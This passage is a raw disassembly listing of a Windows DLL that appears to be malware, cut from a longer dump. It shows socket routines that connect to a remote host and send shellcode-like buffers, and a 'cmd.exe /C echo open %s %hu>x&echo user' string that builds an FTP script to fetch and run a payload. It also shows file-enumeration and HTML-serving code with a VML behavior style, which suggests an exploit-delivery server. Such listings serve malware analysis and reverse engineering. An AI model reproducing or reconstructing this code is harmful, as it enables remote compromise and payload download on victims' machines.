call sub_1000180B
add esp, 10h
mov eax, [ebp+len]
push eax ; len
mov ecx, [ebp+Memory]
push ecx ; int
mov edx, [ebp+s]
push edx ; s
call sub_10001991
add esp, 0Ch
and eax, 0FFh
test eax, eax
jnz short loc_10001BAB
mov eax, [ebp+Memory]
push eax ; Memory
call ds:free ; free
add esp, 4
xor al, al
jmp short loc_10001BD7
; ---------------------------------------------------------------------------
loc_10001BAB: ; CODE XREF: sub_100019DF+1B6j
push 0 ; flags
push 100h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call sub_1000180B
add esp, 10h
mov eax, [ebp+Memory]
push eax ; Memory
call ds:free ; free
add esp, 4
mov al, 1
loc_10001BD7: ; CODE XREF: sub_100019DF+36j
; sub_100019DF+179j ...
mov esp, ebp
pop ebp
retn
sub_100019DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10001BDB(SOCKET s,void *Src,int)
sub_10001BDB proc near ; CODE XREF: sub_10001EBF+193p
buf = byte ptr -20h
s = dword ptr 8
Src = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0 ; flags
push 48h ; len
push offset buf ; ""
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
cmp eax, 48h
jz short loc_10001BFD
xor al, al
jmp short loc_10001C41
; ---------------------------------------------------------------------------
loc_10001BFD: ; CODE XREF: sub_10001BDB+1Cj
push 0 ; flags
push 20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call sub_1000180B
add esp, 10h
cmp eax, 0FFFFFFFFh
jnz short loc_10001C1A
xor al, al
jmp short loc_10001C41
; ---------------------------------------------------------------------------
loc_10001C1A: ; CODE XREF: sub_10001BDB+39j
mov eax, dword ptr [ebp+buf]
and eax, 0FFh
cmp eax, 82h
jz short loc_10001C2D
xor al, al
jmp short loc_10001C41
; ---------------------------------------------------------------------------
loc_10001C2D: ; CODE XREF: sub_10001BDB+4Cj
mov ecx, [ebp+arg_8]
push ecx ; int
mov edx, [ebp+Src]
push edx ; Src
mov eax, [ebp+s]
push eax ; s
call sub_100019DF
add esp, 0Ch
loc_10001C41: ; CODE XREF: sub_10001BDB+20j
; sub_10001BDB+3Dj ...
mov esp, ebp
pop ebp
retn
sub_10001BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001C45 proc near ; CODE XREF: .text:10001CFBp
var_2C = qword ptr -2Ch
var_24 = qword ptr -24h
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
shl eax, 3
mov dword ptr [ebp+var_C], eax
mov dword ptr [ebp+var_C+4], 0
fild [ebp+var_C]
fdiv ds:dbl_1000C220
call _ftol ; _ftol
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ebp+var_14], ecx
mov dword ptr [ebp+var_14+4], 0
fild [ebp+var_14]
fstp [ebp+var_1C]
mov edx, [ebp+var_4]
mov dword ptr [ebp+var_24], edx
mov dword ptr [ebp+var_24+4], 0
fild [ebp+var_24]
fdiv ds:dbl_1000C218
sub esp, 8
fstp [esp+2Ch+var_2C]
call ds:floor ; floor
add esp, 8
fadd st, st
fadd [ebp+var_1C]
call _ftol ; _ftol
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_10001C45 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_1000BC72
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
mov dword ptr [ebp-3Ch], 0
lea eax, [ebp-38h]
push eax
lea ecx, [ebp-20h]
call ds:??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::allocator<char> const &)
mov dword ptr [ebp-4], 1
mov ecx, [ebp+10h]
push ecx
call sub_10001C45
add esp, 4
push eax
lea ecx, [ebp-20h]
call ds:?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::reserve(uint)
mov dword ptr [ebp-10h], 0
loc_10001D14: ; CODE XREF: .text:loc_10001E87j
cmp dword ptr [ebp+10h], 0
jbe loc_10001E8C
cmp dword ptr [ebp+10h], 3
jb short loc_10001D2D
mov dword ptr [ebp-30h], 3
jmp short loc_10001D49
; ---------------------------------------------------------------------------
loc_10001D2D: ; CODE XREF: .text:10001D22j
cmp dword ptr [ebp+10h], 2
jnz short loc_10001D3C
mov dword ptr [ebp-30h], 2
jmp short loc_10001D49
; ---------------------------------------------------------------------------
loc_10001D3C: ; CODE XREF: .text:10001D31j
cmp dword ptr [ebp+10h], 1
jnz short loc_10001D49
mov dword ptr [ebp-30h], 1
loc_10001D49: ; CODE XREF: .text:10001D2Bj
; .text:10001D3Aj ...
mov edx, [ebp-30h]
mov [ebp-44h], edx
mov dword ptr [ebp-40h], 0
fild qword ptr [ebp-44h]
fmul ds:dbl_1000C228
fdiv ds:dbl_1000C220
sub esp, 8
fstp qword ptr [esp]
call ds:ceil ; ceil
add esp, 8
call _ftol ; _ftol
mov [ebp-2Ch], eax
mov dword ptr [ebp-34h], 0
jmp short loc_10001D8E
; ---------------------------------------------------------------------------
loc_10001D85: ; CODE XREF: .text:10001DA5j
mov eax, [ebp-34h]
add eax, 1
mov [ebp-34h], eax
loc_10001D8E: ; CODE XREF: .text:10001D83j
mov ecx, [ebp-34h]
cmp ecx, [ebp-30h]
jnb short loc_10001DA7
mov edx, [ebp+0Ch]
add edx, [ebp-34h]
mov eax, [ebp-34h]
mov cl, [edx]
mov [ebp+eax-28h], cl
jmp short loc_10001D85
; ---------------------------------------------------------------------------
loc_10001DA7: ; CODE XREF: .text:10001D94j
mov edx, [ebp+0Ch]
add edx, [ebp-30h]
mov [ebp+0Ch], edx
mov eax, [ebp+10h]
sub eax, [ebp-30h]
mov [ebp+10h], eax
movsx ecx, byte ptr [ebp-28h]
and ecx, 0FCh
sar ecx, 2
mov [ebp-24h], cl
movsx edx, byte ptr [ebp-28h]
and edx, 3
shl edx, 4
movsx eax, byte ptr [ebp-27h]
and eax, 0F0h
sar eax, 4
add edx, eax
mov [ebp-23h], dl
movsx ecx, byte ptr [ebp-27h]
and ecx, 0Fh
movsx edx, byte ptr [ebp-26h]
and edx, 0C0h
sar edx, 6
lea eax, [edx+ecx*4]
mov [ebp-22h], al
movsx ecx, byte ptr [ebp-26h]
and ecx, 3Fh
mov [ebp-21h], cl
mov dword ptr [ebp-34h], 0
jmp short loc_10001E1A
; ---------------------------------------------------------------------------
loc_10001E11: ; CODE XREF: .text:10001E45j
mov edx, [ebp-34h]
add edx, 1
mov [ebp-34h], edx
loc_10001E1A: ; CODE XREF: .text:10001E0Fj
mov eax, [ebp-34h]
cmp eax, [ebp-2Ch]
jnb short loc_10001E47
mov ecx, [ebp-34h]
movsx edx, byte ptr [ebp+ecx-24h]
mov al, byte_1000E1B0[edx]
push eax
push 1
lea ecx, [ebp-20h]
call ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
jmp short loc_10001E11
; ---------------------------------------------------------------------------
loc_10001E47: ; CODE XREF: .text:10001E20j
cmp dword ptr [ebp-10h], 48h
jb short loc_10001E61
mov edx, [ebp+14h]
push edx
lea ecx, [ebp-20h]
call ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(char const *)
mov dword ptr [ebp-10h], 0
loc_10001E61: ; CODE XREF: .text:10001E4Bj
mov eax, [ebp-2Ch]
mov [ebp-34h], eax
jmp short loc_10001E72
; ---------------------------------------------------------------------------
loc_10001E69: ; CODE XREF: .text:10001E85j
mov ecx, [ebp-34h]
add ecx, 1
mov [ebp-34h], ecx
loc_10001E72: ; CODE XREF: .text:10001E67j
cmp dword ptr [ebp-34h], 4
jnb short loc_10001E87
push 3Dh
push 1
lea ecx, [ebp-20h]
call ds:?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
jmp short loc_10001E69
; ---------------------------------------------------------------------------
loc_10001E87: ; CODE XREF: .text:10001E76j
jmp loc_10001D14
; ---------------------------------------------------------------------------
loc_10001E8C: ; CODE XREF: .text:10001D18j
lea edx, [ebp-20h]
push edx
mov ecx, [ebp+8]
call ds:??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
mov eax, [ebp-3Ch]
or al, 1
mov [ebp-3Ch], eax
mov byte ptr [ebp-4], 0
lea ecx, [ebp-20h]
call ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10001EBF proc near ; DATA XREF: sub_1000A1A9+26Eo
var_44C = byte ptr -44Ch
name = sockaddr ptr -444h
Dest = byte ptr -434h
var_424 = dword ptr -424h
Src = dword ptr -420h
var_41C = dword ptr -41Ch
hostshort = word ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
Dst = byte ptr -40Ch
var_40B = byte ptr -40Bh
var_37D = byte ptr -37Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
s = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 44Ch
push edi
mov [ebp+Dst], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_40B]
rep stosd
stosw
stosb
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov dword ptr [ebp+hostshort], ecx
mov edx, [eax+4]
mov [ebp+var_414], edx
mov eax, [eax+8]
mov [ebp+var_410], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx+8], 1
push 8Fh ; Size
push offset dword_1000E35C ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
call sub_10006FA2
push eax
push offset Format ; "%s.dll"
push 10h ; Count
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea edx, [ebp+Dest]
push edx
lea eax, [ebp+Dest]
push eax
xor ecx, ecx
mov cx, hostshort
push ecx
push offset Dest
push offset aCmd_exeCEchoOp ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea edx, [ebp+var_37D]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, 90h
mov [ebp+var_424], eax
mov ecx, [ebp+var_424]
push ecx
lea edx, [ebp+Dst]
push edx
push 164h
push offset aSvwfbA ; "SVWfì€"
lea eax, [ebp+var_44C]
push eax
call sub_10001433
add esp, 14h
mov ecx, [eax]
mov edx, [eax+4]
mov [ebp+Src], ecx
mov [ebp+var_41C], edx
cmp [ebp+var_41C], 0
jnz short loc_10001FD6
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
loc_10001FD6: ; CODE XREF: sub_10001EBF+10Aj
push 6 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jz short loc_10002064
mov [ebp+name.sa_family], 2
mov ax, [ebp+hostshort]
push eax ; hostshort
call ds:htons ; htons
mov word ptr [ebp+name.sa_data], ax
mov ecx, [ebp+var_414]
mov dword ptr [ebp+name.sa_data+2], ecx
push 8 ; Size
push 0 ; Val
lea edx, [ebp+name.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea eax, [ebp+name]
push eax ; name
mov ecx, [ebp+s]
push ecx ; s
call ds:connect ; connect
cmp eax, 0FFFFFFFFh
jz short loc_1000205A
mov edx, [ebp+var_41C]
push edx ; int
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+s]
push ecx ; s
call sub_10001BDB
add esp, 0Ch
loc_1000205A: ; CODE XREF: sub_10001EBF+17Fj
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
loc_10002064: ; CODE XREF: sub_10001EBF+12Aj
lea ecx, [ebp+Src]
call sub_1000113B
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
pop edi
mov esp, ebp
pop ebp
retn 4
sub_10001EBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10002083 proc near ; DATA XREF: .data:1000E004o
push ebp
mov ebp, esp
call sub_10002092
call sub_100020A2
pop ebp
retn
sub_10002083 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10002092 proc near ; CODE XREF: sub_10002083+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A41
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10002092 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100020A2 proc near ; CODE XREF: sub_10002083+8p
push ebp
mov ebp, esp
push offset sub_100020B4 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_100020A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_100020B4()
sub_100020B4 proc near ; DATA XREF: sub_100020A2+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A41
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_100020B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100020C4 proc near ; DATA XREF: .data:1000E008o
push ebp
mov ebp, esp
call sub_100020D3
call sub_100020E3
pop ebp
retn
sub_100020C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100020D3 proc near ; CODE XREF: sub_100020C4+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A40
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_100020D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100020E3 proc near ; CODE XREF: sub_100020C4+8p
push ebp
mov ebp, esp
push offset sub_100020F5 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_100020E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_100020F5()
sub_100020F5 proc near ; DATA XREF: sub_100020E3+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A40
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_100020F5 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10002110(char *Str)
sub_10002110 proc near ; CODE XREF: sub_10002157+26Ap
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_10002126
; ---------------------------------------------------------------------------
loc_1000211D: ; CODE XREF: sub_10002110:loc_1000214Ej
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_10002126: ; CODE XREF: sub_10002110+Bj
mov ecx, [ebp+Str]
push ecx ; Str
call strlen ; strlen
add esp, 4
cmp [ebp+var_4], eax
jnb short loc_10002150
mov edx, [ebp+Str]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_1000214E
mov ecx, [ebp+Str]
add ecx, [ebp+var_4]
mov byte ptr [ecx], 2Fh
loc_1000214E: ; CODE XREF: sub_10002110+33j
jmp short loc_1000211D
; ---------------------------------------------------------------------------
loc_10002150: ; CODE XREF: sub_10002110+25j
mov eax, [ebp+Str]
mov esp, ebp
pop ebp
retn
sub_10002110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_10002157(char Parameter,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,__int16,SOCKET s,char *Source)
sub_10002157 proc near ; CODE XREF: sub_1000329E+652p
var_318 = dword ptr -318h
var_311 = byte ptr -311h
hObject = dword ptr -310h
Str = byte ptr -30Ch
var_30B = byte ptr -30Bh
var_30A = byte ptr -30Ah
var_20C = dword ptr -20Ch
Dst = byte ptr -208h
var_108 = dword ptr -108h
var_104 = dword ptr -104h
FileName = byte ptr -100h
Parameter = byte ptr 8
arg_4 = dword ptr 0Ch
Dest = byte ptr 12h
arg_10A = byte ptr 112h
arg_20A = byte ptr 212h
arg_30A = byte ptr 312h
s = dword ptr 313h
Source = dword ptr 318h
push ebp
mov ebp, esp
sub esp, 318h
push esi
mov byte ptr [ebp+var_20C], 0
push 100h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov ecx, [ebp+Source]
movsx edx, byte ptr [ecx]
cmp edx, 2Fh
jz short loc_100021AF
mov eax, [ebp+Source]
push eax
push offset aS_5 ; "\\%s"
push 0FFh ; Count
lea ecx, [ebp+Str]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
jmp short loc_100021D4
; ---------------------------------------------------------------------------
loc_100021AF: ; CODE XREF: sub_10002157+33j
mov edx, [ebp+Source]
mov byte ptr [edx], 5Ch
push 0FFh ; Count
mov eax, [ebp+Source]
push eax ; Source
lea ecx, [ebp+Str]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100021D4: ; CODE XREF: sub_10002157+56j
mov [ebp+var_104], 0
mov [ebp+var_108], 0
jmp short loc_10002208
; ---------------------------------------------------------------------------
loc_100021EA: ; CODE XREF: sub_10002157:loc_100022D9j
mov edx, [ebp+var_104]
add edx, 1
mov [ebp+var_104], edx
mov eax, [ebp+var_108]
add eax, 1
mov [ebp+var_108], eax
loc_10002208: ; CODE XREF: sub_10002157+91j
lea ecx, [ebp+Str]
push ecx ; Str
call strlen ; strlen
add esp, 4
cmp [ebp+var_104], eax
jnb loc_100022DE
mov esi, [ebp+var_104]
add esi, 2
lea edx, [ebp+Str]
push edx ; Str
call strlen ; strlen
add esp, 4
cmp esi, eax
jnb short loc_10002297
mov eax, [ebp+var_104]
movsx ecx, [ebp+eax+Str]
cmp ecx, 25h
jnz short loc_10002297
mov edx, [ebp+var_104]
movsx eax, [ebp+edx+var_30B]
cmp eax, 32h
jnz short loc_10002297
mov ecx, [ebp+var_104]
movsx edx, [ebp+ecx+var_30A]
cmp edx, 30h
jnz short loc_10002297
mov eax, [ebp+var_108]
mov [ebp+eax+Dst], 20h
mov ecx, [ebp+var_104]
add ecx, 2
mov [ebp+var_104], ecx
jmp short loc_100022D9
; ---------------------------------------------------------------------------
loc_10002297: ; CODE XREF: sub_10002157+E6j
; sub_10002157+F9j ...
mov edx, [ebp+var_104]
movsx eax, [ebp+edx+Str]
cmp eax, 2Fh
jnz short loc_100022B3
mov [ebp+var_311], 5Ch
jmp short loc_100022C6
; ---------------------------------------------------------------------------
loc_100022B3: ; CODE XREF: sub_10002157+151j
mov ecx, [ebp+var_104]
mov dl, [ebp+ecx+Str]
mov [ebp+var_311], dl
loc_100022C6: ; CODE XREF: sub_10002157+15Aj
mov eax, [ebp+var_108]
mov cl, [ebp+var_311]
mov [ebp+eax+Dst], cl
loc_100022D9: ; CODE XREF: sub_10002157+13Ej
jmp loc_100021EA
; ---------------------------------------------------------------------------
loc_100022DE: ; CODE XREF: sub_10002157+C6j
lea edx, [ebp+Dst]
push edx
lea eax, [ebp+arg_20A]
push eax
push offset aSS ; "%s%s"
push 0FFh ; Count
lea ecx, [ebp+FileName]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 14h
push offset Delim ; "\n"
lea edx, [ebp+FileName]
push edx ; Str
call ds:strtok ; strtok
add esp, 8
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:GetFileAttributesA ; GetFileAttributesA
mov [ebp+var_318], eax
cmp [ebp+var_318], 10h
jz short loc_10002342
cmp [ebp+var_318], 0FFFFFFFFh
jz short loc_1000234B
jmp short loc_1000235D
; ---------------------------------------------------------------------------
loc_10002342: ; CODE XREF: sub_10002157+1DEj
mov byte ptr [ebp+var_20C], 1
jmp short loc_1000235D
; ---------------------------------------------------------------------------
loc_1000234B: ; CODE XREF: sub_10002157+1E7j
mov ecx, [ebp+s+1]
push ecx ; s
call ds:closesocket ; closesocket
jmp loc_100024A0
; ---------------------------------------------------------------------------
loc_1000235D: ; CODE XREF: sub_10002157+1E9j
; sub_10002157+1F2j
mov edx, [ebp+var_108]
movsx eax, byte ptr [ebp+edx+var_20C+3]
cmp eax, 5Ch
jnz short loc_10002377
mov byte ptr [ebp+var_20C], 1
loc_10002377: ; CODE XREF: sub_10002157+217j
mov ecx, [ebp+var_20C]
and ecx, 0FFh
test ecx, ecx
jz short loc_100023F5
push 0FFh ; Count
push offset Source ; "*"
lea edx, [ebp+FileName]
push edx ; Dest
call ds:strncat ; strncat
add esp, 0Ch
push 0FFh ; Count
lea eax, [ebp+FileName]
push eax ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
lea edx, [ebp+Dst]
push edx ; Str
call sub_10002110
add esp, 4
push 0FFh ; Count
lea eax, [ebp+Dst]
push eax ; Source
lea ecx, [ebp+arg_10A]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov [ebp+arg_30A], 1
mov [ebp+arg_4], 0FFFFFFFFh
jmp short loc_1000245F
; ---------------------------------------------------------------------------
loc_100023F5: ; CODE XREF: sub_10002157+22Ej
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
lea edx, [ebp+FileName]
push edx ; lpFileName
call ds:CreateFileA ; CreateFileA
mov [ebp+hObject], eax
cmp [ebp+hObject], 0FFFFFFFFh
jz short loc_1000245F
push 0FFh ; Count
lea eax, [ebp+FileName]
push eax ; Source
lea ecx, [ebp+Dest]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov [ebp+arg_30A], 0
push 0 ; lpFileSizeHigh
mov edx, [ebp+hObject]
push edx ; hFile
call ds:GetFileSize ; GetFileSize
mov [ebp+arg_4], eax
mov eax, [ebp+hObject]
push eax ; hObject
call ds:CloseHandle ; CloseHandle
loc_1000245F: ; CODE XREF: sub_10002157+29Cj
; sub_10002157+2C7j
mov byte ptr [ebp+s], 0
push 0 ; lpThreadId
push 0 ; dwCreationFlags
lea ecx, [ebp+Parameter]
push ecx ; lpParameter
push offset StartAddress ; lpStartAddress
push 20000h ; dwStackSize
push 0 ; lpThreadAttributes
call ds:CreateThread ; CreateThread
test eax, eax
jnz short loc_10002486
jmp short loc_100024A0
; ---------------------------------------------------------------------------
loc_10002486: ; CODE XREF: sub_10002157+32Bj
; sub_10002157+347j
mov edx, [ebp+s]
and edx, 0FFh
test edx, edx
jnz short loc_100024A0
push 0Ah ; dwMilliseconds
call ds:Sleep ; Sleep
jmp short loc_10002486
; ---------------------------------------------------------------------------
loc_100024A0: ; CODE XREF: sub_10002157+201j
; sub_10002157+32Dj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_10002157 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_100024A5(SOCKET s,char *lpFileName,char *Source)
sub_100024A5 proc near ; CODE XREF: StartAddress+294p
var_25F8 = dword ptr -25F8h
var_25F4 = dword ptr -25F4h
var_25F0 = byte ptr -25F0h
var_25E0 = byte ptr -25E0h
var_25DF = byte ptr -25DFh
var_2551 = byte ptr -2551h
var_1DE0 = dword ptr -1DE0h
var_1DDC = byte ptr -1DDCh
var_1DCC = byte ptr -1DCCh
var_1DCB = byte ptr -1DCBh
var_1D3D = byte ptr -1D3Dh
var_15CC = dword ptr -15CCh
var_15C8 = byte ptr -15C8h
var_15B8 = byte ptr -15B8h
var_15B7 = byte ptr -15B7h
var_1529 = byte ptr -1529h
var_DB8 = dword ptr -0DB8h
var_DB4 = dword ptr -0DB4h
Dest = byte ptr -0DB0h
var_DA0 = byte ptr -0DA0h
var_D9F = byte ptr -0D9Fh
var_D11 = byte ptr -0D11h
var_5A0 = dword ptr -5A0h
FileTime = _FILETIME ptr -59Ch
SystemTime = _SYSTEMTIME ptr -594h
var_584 = byte ptr -584h
Str1 = _WIN32_FIND_DATAA ptr -55Ch
Dst = byte ptr -41Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
hFindFile = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
buf = byte ptr -204h
var_4 = dword ptr -4
s = dword ptr 8
lpFileName = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 25F8h
call __alloca_probe
push edi
mov [ebp+var_31C], 0
mov [ebp+var_318], 0
mov [ebp+var_208], 0E6h
mov [ebp+var_20C], 96h
mov [ebp+var_210], 3Ch
mov [ebp+var_4], 1Eh
push 100h ; Size
push 0 ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push offset asc_1000E8B4 ; "\n"
mov ecx, [ebp+lpFileName]
push ecx ; Str
call ds:strtok ; strtok
add esp, 8
cmp [ebp+Source], 0
jz loc_10002891
mov edx, [ebp+lpFileName]
push edx ; Str
call strlen ; strlen
add esp, 4
mov ecx, [ebp+lpFileName]
mov byte ptr [ecx+eax-1], 0
mov edx, [ebp+lpFileName]
push edx
push offset aHead ; "<head>\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
mov ecx, [ebp+lpFileName]
push ecx ; Str
call strlen ; strlen
add esp, 4
mov edx, [ebp+lpFileName]
mov byte ptr [edx+eax], 2Ah
mov eax, [ebp+var_210]
push eax
mov ecx, [ebp+var_20C]
push ecx
mov edx, [ebp+var_208]
push edx
push offset aTitleSiteOffli ; "<title>Site Offline.</title>\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 18h
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
push offset aStyle ; "<style>\r\n"
push 200h ; Count
lea ecx, [ebp+buf]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea edx, [ebp+buf]
push edx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:send ; send
push offset aVBehaviorUrlDe ; "v:* { behavior: url(#default#VML); }\r\n"
push 200h ; Count
lea edx, [ebp+buf]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea eax, [ebp+buf]
push eax ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:send ; send
push offset aStyle_0 ; "</style>\r\n"
push 200h ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 0Ch
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:send ; send
push offset aHead_0 ; "</head>\r\n"
push 200h ; Count
lea ecx, [ebp+buf]
